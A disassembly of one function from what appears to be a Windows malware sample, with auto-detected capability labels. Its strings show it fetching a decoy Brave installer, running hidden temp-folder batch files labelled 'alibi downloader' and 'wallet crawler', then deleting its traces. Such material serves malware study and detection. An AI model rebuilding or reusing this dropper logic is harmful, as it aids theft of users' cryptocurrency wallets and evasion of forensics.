Function at 0x401619
Capabilities:
Contain obfuscated stackstrings
Delete file
Execute command
Get session user name

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0xa64
call fcn.00402290
lea eax, [ebp - 0x30]
mov dword [esp + 4], eax
mov dword [esp], str.aHR0cHM6Ly9yZWZlcnJhbHMuYnJhdmUuY29tL2xhdGVzdC9CcmF2ZUJyb3dzZXJTZXR1cC5leGU
call fcn.00401f9b
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], str.DL_decode:__s_n
call fcn.004015b0
mov dword [esp + 4], 0x40908c
mov dword [esp], 0x40e060
mov eax, dword [sym.imp.ADVAPI32.dll_GetUserNameA]
call eax
sub esp, 8
call fcn.00401cab
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x57], 0x44707041
mov dword [ebp - 0x53], 0x5c617461
mov dword [ebp - 0x4f], 0x61636f4c
mov dword [ebp - 0x4b], 0x65545c6c
mov dword [ebp - 0x47], 0x6b5c706d
mov dword [ebp - 0x43], 0x34315f6c
mov dword [ebp - 0x3f], 0x756e6977
mov dword [ebp - 0x3b], 0x74616470
mov dword [ebp - 0x37], 0x622e7265
mov dword [ebp - 0x34], 0x746162
mov dword [ebp - 0x77], 0x44707041
mov dword [ebp - 0x73], 0x5c617461
mov dword [ebp - 0x6f], 0x61636f4c
mov dword [ebp - 0x6b], 0x65545c6c
mov dword [ebp - 0x67], 0x775c706d
mov dword [ebp - 0x63], 0x34636e69
mov dword [ebp - 0x5f], 0x2e383534
mov dword [ebp - 0x5b], 0x746162
lea eax, [ebp - 0x77]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x40e060
mov dword [esp + 8], str.C:Users_
mov dword [esp + 4], str._s_s_s
lea eax, [ebp - 0x26b]
mov dword [esp], eax
call fcn.004015ec
lea eax, [ebp - 0x26b]
mov dword [esp], eax
call fcn.00401b13
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x401754
mov dword [esp], str.Create_alibi_batch_failed
call sub.msvcrt.dll_puts
mov eax, 1
jmp 0x401907
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__s
lea eax, [ebp - 0x45f]
mov dword [esp], eax
call fcn.004015ec
lea eax, [ebp - 0x45f]
mov dword [esp], eax
call sub.msvcrt.dll_system
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x40179b
mov dword [esp], str.Execute_alibi_downloader_failed
call sub.msvcrt.dll_puts
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.msvcrt.dll_remove
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x4017bb
mov dword [esp], str.Remove_alibi_batch_filed
call sub.msvcrt.dll_puts
mov dword [esp + 0x10], str.w11update.exe
mov dword [esp + 0xc], 0x40e060
mov dword [esp + 8], str.C:Users_
mov dword [esp + 4], str._s_sAppDataLocalTemp_s
lea eax, [ebp - 0x653]
mov dword [esp], eax
call fcn.004015ec
lea eax, [ebp - 0x653]
mov dword [esp], eax
call sub.msvcrt.dll_remove
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x40180c
mov dword [esp], str.Remove_exe_failed
call sub.msvcrt.dll_puts
lea eax, [ebp - 0x57]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x40e060
mov dword [esp + 8], str.C:Users_
mov dword [esp + 4], str._s_s_s
lea eax, [ebp - 0x847]
mov dword [esp], eax
call fcn.004015ec
lea eax, [ebp - 0x847]
mov dword [esp], eax
call fcn.0040197b
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [esp + 4], eax
mov dword [esp], str.Returned_filepath:__s_n
call fcn.004015b0
cmp dword [ebp - 0x24], 0
jne 0x401879
mov dword [esp], str.Create_crawler_batch_failed
call sub.msvcrt.dll_puts
mov eax, 1
jmp 0x401907
mov eax, dword [ebp - 0x24]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__s
lea eax, [ebp - 0xa3b]
mov dword [esp], eax
call fcn.004015ec
lea eax, [ebp - 0xa3b]
mov dword [esp], eax
call sub.msvcrt.dll_system
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x4018b9
mov dword [esp], str.File_execution_failed
call sub.msvcrt.dll_puts
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sub.msvcrt.dll_remove
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
je 0x4018eb
mov dword [esp], str.Removal_of_file_failed
call sub.msvcrt.dll_puts
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, 1
jmp 0x401907
mov dword [esp], str.Removed_wallet_crawler_batch
call sub.msvcrt.dll_puts
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret